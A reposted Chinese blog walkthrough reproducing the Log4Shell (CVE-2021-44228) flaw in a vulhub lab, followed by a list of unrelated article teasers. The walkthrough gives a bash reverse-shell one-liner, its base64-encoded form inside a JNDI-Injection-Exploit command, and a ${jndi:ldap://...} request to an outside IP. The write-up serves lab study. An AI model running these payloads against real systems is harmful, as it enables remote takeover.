当前位置： 首页 > news >正文

log4j2漏洞复现（CVE-2021-44228）

news 文章来源：https://blog.csdn.net/qq_54694921/article/details/144702303 2025/5/6 10:17:35

靶场环境

步骤一：设置出战规则

步骤二：开启靶场

cd vulhub
cd log4j
cd CVE-2021-44228
docker-compose up -d
docker ps

访问端口 靶机开启

步骤三：外带注入

获得dnslog

靶机访问dnslog

得到dnslog的二级域名信息

步骤四：构造恶意类 反弹shell

上传工具

安装java

构造恶意类

反弹shell加密

bash -i >& /dev/tcp/8.155.8.82/520 0>&1YmFzaCAtaSA+JiAvZGV2L3RjcC84LjE1NS44LjgyLzUyMCAwPiYx

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84LjE1NS44LjgyLzUyMCAwPiYx}|{base64,-d}|{bash,-i}" -A "8.155.8.82"

访问ldamp 出现server.log 再开启本机端口监听

http://8.155.8.82:8983/solr/admin/cores?action=${jndi:ldap://8.155.8.82:1389/7qcpvt}

本机开启监听520端口

再刷新访问ldap 发现监听地址改变 已经从本机监听到了靶机的信息

相关文章：

log4j2漏洞复现（CVE-2021-44228）

靶场环境 步骤一：设置出战规则 步骤二：开启靶场 cd vulhub cd log4j cd CVE-2021-44228 docker-compose up -d docker ps 访问端口 靶机开启 步骤三：外带注入 获得dnslog 靶机访问dnslog 得到dnslog的二级域名信息 步骤四：构造…...

编程日记 2024/12/25 3:44:50

tcpdump抓包分析

使用tcpdump进行抓包分析是一个常见的网络诊断和分析任务。以下是如何使用tcpdump进行抓包和分析的一些基本步骤和技巧： 1. 基本抓包 首先，你需要确定要抓取数据包的网络接口。可以使用ifconfig或ip addr命令查看网络接口。然后，使用以下命…...

编程日记 2024/12/25 3:43:49

LearnOpenGL学习（碰撞检测，粒子）

完整代码见：zaizai77/OpenGLTo2DGame: 基于OpenGL制作2D游戏 物体本身的数据来检测碰撞会很复杂，一半使用重叠在物体上的更简单的外形来检测。 AABB - AABB 碰撞 AABB代表的是轴对齐碰撞箱(Axis-aligned Bounding Box)，碰撞箱是指与场景基…...

编程日记 2024/12/25 3:40:45

操作系统（24）提高磁盘I/O速度的途径

前言 操作系统提高磁盘I/O速度的途径多种多样，这些途径旨在减少磁盘访问的延迟和开销，提高数据传输的效率。 一、磁盘高速缓存（Disk Cache） 磁盘高速缓存是一种在内存中为磁盘数据设置的缓冲区，用于存储磁盘中某些盘块…...

编程日记 2024/12/25 3:39:44

C/C++基础知识复习（45）

1) C 中面向对象编程如何实现数据隐藏？ 在 C 中，数据隐藏是通过将类的成员变量和方法的访问权限控制起来实现的。通常，数据隐藏是通过使用 访问控制 机制来实现的，C 提供了三种访问控制修饰符： private: 使成员变量和…...

编程日记 2024/12/25 3:38:42

现代C++锁介绍

文章目录 场景描述🐞 初始实现: 非线程安全版本互斥锁: std::mutex使用mutex保护共享资源使用std::lock_guard简化锁的管理 优化读操作: std::shared_mutex多个锁的管理: std::scoped_lock使用std::scoped_lock避免死锁 其他高级锁⏳ 带超时的锁: std::timed_mutex使…...

编程日记 2024/12/25 3:37:41

Squid代理服务器的安装使用

1.简介 Squid代理服务器是一种高效的中间服务器，位于客户端和目标服务器之间，起到了重要的网络中介作用。以下是对Squid代理服务器的详细介绍： 一、功能特点 缓存功能： Squid可以缓存经过它的请求和响应数据。当客户端发起请求时…...

编程日记 2024/12/25 3:36:39

爬虫学习案例8

爬取京东评论信息 采用DrissionPage自动化工具采集，感觉比Selenium工具好，真香。 安装第三方库 pip install DrissionPage pip install pandas pip install pyecharts pip install jieba pip install wordcloud1.安装DrissionPage库 DrissionPage安装…...

编程日记 2024/12/25 3:31:34

深入了解 CouchDB 的 Mango 查询：操作符和限制

CouchDB 是一个基于文档的数据库管理系统，支持 HTTP 协议，拥有强大的同步机制和灵活的数据模型。Mango 查询是 CouchDB 中用于数据检索的现代化查询接口，灵感来自 MongoDB 的查询语法。本文将深入探讨 Mango 查询中的各种操作符和限制，并提供详细的例子和说明，帮助你更好地…...

编程日记 2024/12/25 3:28:31

基于SSM（Spring + Spring MVC + MyBatis）框架搭建一个病人跟踪信息管理系统

基于SSM（Spring Spring MVC MyBatis）框架搭建一个病人治疗跟踪信息系统是一个相对复杂的项目，涉及到多个模块和功能。以下是一个简要的指导步骤。 1. 环境准备 开发环境：确保安装了Java Development Kit (JDK)，建议…...

编程日记 2024/12/25 3:27:30

U盘文件名变乱码：原因、恢复与预防全解析

一、U盘文件名变乱码现象描述 在日常使用U盘进行数据传输和存储时，我们有时会遇到一个令人头疼的问题：U盘中的文件名突然变成了乱码，无法正常识别或访问。这些乱码文件名可能包含各种奇怪的字符和符号，使得原本有序的文件管理变得…...

编程日记 2024/12/25 3:26:29

EasyGBS国标GB28181公网平台P2P远程访问故障诊断：云端服务端排查指南

随着信息技术的飞速发展，视频监控领域正经历从传统安防向智能化、网络化安防的深刻转变。EasyGBS平台，作为基于国标GB28181协议的视频流媒体平台，为用户提供了强大的视频监控直播功能。然而，在实际应用中，P2P远程访问可…...

编程日记 2024/12/25 3:25:28

一网多平面

“一网多平面”是一种网络架构概念，具体指的是在一张物理网络之上，逻辑划分出“1N”个平面。以下是对“一网多平面”的详细解释： 定义与构成 01一网多平面 指的是在统一的物理网络基础设施上，通过逻辑划分形成多个独立的网络平面…...

编程日记 2024/12/25 3:23:25

animatediff 模型网盘分享

网盘 一、123网盘，不限速 https://www.123pan.com/s/ueQ8jv-OlzPh.html 网盘 网址 animatediff 国外网址https://huggingface.co/guoyww/animatediff/tree/cd71ae134a27ec6008b968d6419952b0c0494cf2 国内镜像在 https://hf-mirror.com/guoyww/animatediff/t…...

编程日记 2024/12/25 3:21:24

ansible play-book玩法

使用ansible-playbook实现安装nginx_ansible 安装nginx-CSDN博客文章浏览阅读1.5k次，点赞14次，收藏19次。本文详细介绍了如何在Linux环境中准备Ansible环境，包括配置主机、下载和安装Ansible，以及使用yum模块和tar包源码安装Nginx…...

编程日记 2024/12/25 3:19:22

MySQL索引-索引的分类和创建

索引类型 数据类型 B树索引Hash索引FullText全文索引 物理存储 聚簇索引二级索引 字段特性 主键索引唯一索引普通索引前缀索引 字段个数 单列索引联合索引 创建索引 创建表时一同创建创建表后单独创建创建表后通过修改表结构创建 可以通过 SHOW INDEX FROM test_table;查看…...

编程日记 2024/12/25 3:18:21

如何给负载均衡平台做好安全防御

在现代网络架构中，负载均衡（Load Balancing）扮演着至关重要的角色。它不仅负责将流量分配到多个服务器以确保高效的服务交付，还作为第一道防线来抵御外部攻击。为了保护您的应用程序和服务免受潜在威胁，必须对负载均衡…...

编程日记 2024/12/25 3:17:18

HR/TA/HRBP的关系

HR（人力资源）领域包含 TA（人才获取）和 HRBP（人力资源业务伙伴）这两个重要的角色，但它们只是 HR 工作的一部分分支，一般我们说的HR指TA。 1. 人才获取（TA） 定…...

编程日记 2024/12/25 3:15:15

Docker环境下MySQL数据库持久化部署全攻略

概述 在当今的软件开发领域，Docker容器技术已经成为应用部署和管理的新标准。它不仅简化了应用的部署流程，还为数据管理提供了灵活的解决方案。特别是在涉及到MySQL数据库时，数据持久化是一个不可忽视的重要环节。本文将分享如何在Docker中部…...

编程日记 2024/12/25 3:14:11

如何查看pad的console输出，以便我们更好的进行调试，查看并了解实际可能的问题。

1、以下是baidu AI回复： 2、说明： 1）如果小伙伴们经常做android开发的话，这个不陌生，因为调试都是要开启这个开发者模式。并启用USB调试模式。 2）需要连上USB线，有的时候会忘记，然…...

编程日记 2024/12/25 3:13:08

react中使用ResizeObserver来观察元素的size变化

在 React 中使用 ResizeObserver 来观察元素的大小变化，可以通过创建一个自定义 Hook 来封装 ResizeObserver 的逻辑，并在组件中使用这个 Hook。以下是一个完整的示例，展示了如何在 React 中使用 ResizeObserver 来观察元素的大小变化。 自定…...

编程日记 2024/12/25 3:12:00

Linux快速入门-Linux文件系统管理

Linux文件系统管理 1. Linux文件系统概述1.1 文件系统概念1.2 用户权限差异1.3 文件命名规范 2. Linux文件系统分类及特点2.1 ext2（第二扩展文件系统）2.2 ext3（第三扩展文件系统）2.3 ext4（第四扩展文件系统&#xff09…...

编程日记 2024/12/25 3:10:59

漏洞检测工具：Swagger UI敏感信息泄露

Swagger UI敏感信息泄露 漏洞定义 Swagger UI是一个交互式的、可视化的RESTful API文档工具，它允许开发人员快速浏览、测试API接口。Swagger UI通过读取由Swagger（也称为OpenAPI）规范定义的API描述文件（如swagger.json或swagger…...

编程日记 2024/12/25 3:09:58

VSCode如何修改默认扩展路径和用户文件夹目录到D盘

在使用Visual Studio Code（VSCode）时，随着安装的扩展和用户数据的增多，C盘的空间可能会逐渐紧张。为了优化存储管理，将VSCode的默认扩展路径和用户文件夹目录迁移到D盘是一个有效的解决方案。以下是详细的操作步骤&…...

编程日记 2024/12/25 3:08:57

【超详细实操内容】django的身份验证系统之限制用户访问的三种方式

目录 1、使用request.user.is_authenticated属性 2、装饰器login_required 3、LoginRequiredMixin类 通常情况下，网站都会对用户限制访问，例如，未登录的用户不可访问用户中心页面。Django框架中使用request.user.isauthenticated属性、装饰器loginrequired和LoginRequire…...

编程日记 2024/12/25 3:06:55

AI芯片常见概念

文章目录 AI芯片常见概念前言常见概念AI芯片分类按照芯片的技术架构分GPU半定制化的 FPGA全定制化 ASIC神经拟态芯片 按应用场景分训练卡推理卡 按部署位置分国产AI卡资料汇总 AI芯片算力和能效比AI芯片算力AI芯片能效比 封装相关Chiplet技术3DIC三星多芯片集成联盟&#xff08…...

编程日记 2024/12/25 3:04:54

Linux 中 epoll 的详解

Linux 中 epoll 的详解 epoll 是 Linux 内核提供的一种高效的 I/O 多路复用机制，用于监控大量文件描述符的 I/O 事件。相较于传统的 select 和 poll，epoll 在高并发和大规模网络编程场景下表现出色，特别适合需要处理成千上万个文件描述符的应…...

编程日记 2024/12/25 3:03:53

增加nginx配置文件(conf.d), 管理多个项目

1.切换到nginx目录下, 新建conf.d文件夹 mkdir conf.d 2.赋予conf.d权限 chmod 777 conf.d 3.进入conf.d, 编辑conf文件 vim zc_travel.conf server { listen 13101; server_name localhost;location / {root /home/baoxin/app/web/insight-radar-rcfx-pre/html_dev;index …...

编程日记 2024/12/25 3:02:52

PostgreSQL编译安装教程

下载安装 1.在家目录创建一个文件夹放下载安装包 mkdir softwarecd software 2.下载文件压缩包 wget https://ftp.postgresql.org/pub/source/v16.0/postgresql-16.0.tar.gz 3.解压 tar -xzvf postgresql-16.0.tar.gz 4.编译 在software/postgresql-16.0下 cd software…...

编程日记 2024/12/25 2:56:45

【提审】Android包提审报权限问题

问题：华为应用市场审核不通过 平台审核检测详情： 日志： 自检工具：frida-server【Unity&Android】安卓app自测应用隐私相关获取和申请权限_apk 隐私合规 自测-CSDN博客 参考资料：Unity启动时获取了android_id等设…...

编程日记 2024/12/25 2:54:42